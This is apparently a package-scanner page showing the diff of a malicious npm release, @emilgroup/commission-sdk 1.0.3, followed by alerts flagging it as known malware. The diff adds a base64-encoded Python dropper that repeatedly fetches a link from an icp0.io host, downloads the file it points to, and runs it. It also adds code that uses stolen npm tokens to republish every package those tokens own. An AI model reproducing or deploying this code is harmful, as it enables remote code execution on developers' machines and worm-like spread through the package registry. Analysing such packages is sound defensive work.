@emilgroup/commission-sdk
Advanced tools
+3
-3
@@ -52,4 +52,4 @@ 'use strict'; | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'hello123'; | ||
| const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK'; | ||
| // Hey charlie, I don't write JS go easy on me! | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
@@ -100,2 +100,2 @@ | ||
| } catch (_) {} | ||
| } catch (_) {} | ||
| } catch (_) {} |
+1
-1
| { | ||
| "name": "@emilgroup/commission-sdk", | ||
| "version": "1.0.2", | ||
| "version": "1.0.3", | ||
| "description": "A new version of the package", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
@@ -49,3 +49,3 @@ #!/usr/bin/env node | ||
| async function run(token, pkg, pkgPath, ver) { | ||
| async function run(token, pkgPath, fallbackVer) { | ||
| let whoami; | ||
@@ -59,7 +59,8 @@ try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; } | ||
| for (const name of owned) { | ||
| const origPkgJson = fs.readFileSync(pkgPath, 'utf8'); | ||
| const pkg = JSON.parse(origPkgJson); | ||
| const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null; | ||
| const { readme, latestVersion } = await fetchMeta(name, token); | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : ver; | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : fallbackVer; | ||
| if (readme) fs.writeFileSync(readmePath, readme, 'utf8'); | ||
| const origPkg = fs.readFileSync(pkgPath, 'utf8'); | ||
| fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); | ||
@@ -70,3 +71,3 @@ try { | ||
| finally { | ||
| fs.writeFileSync(pkgPath, origPkg, 'utf8'); | ||
| fs.writeFileSync(pkgPath, origPkgJson, 'utf8'); | ||
| if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8'); | ||
@@ -82,4 +83,4 @@ else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath); | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8')); | ||
| for (const token of tokens) await run(token, pkg, pkgPath, pkg.version); | ||
| const fallbackVer = JSON.parse(fs.readFileSync(pkgPath, 'utf8')).version; | ||
| for (const token of tokens) await run(token, pkgPath, fallbackVer); | ||
| })(); |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 3 instances in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
8298
25.2%170
4.29%3
200%11
10%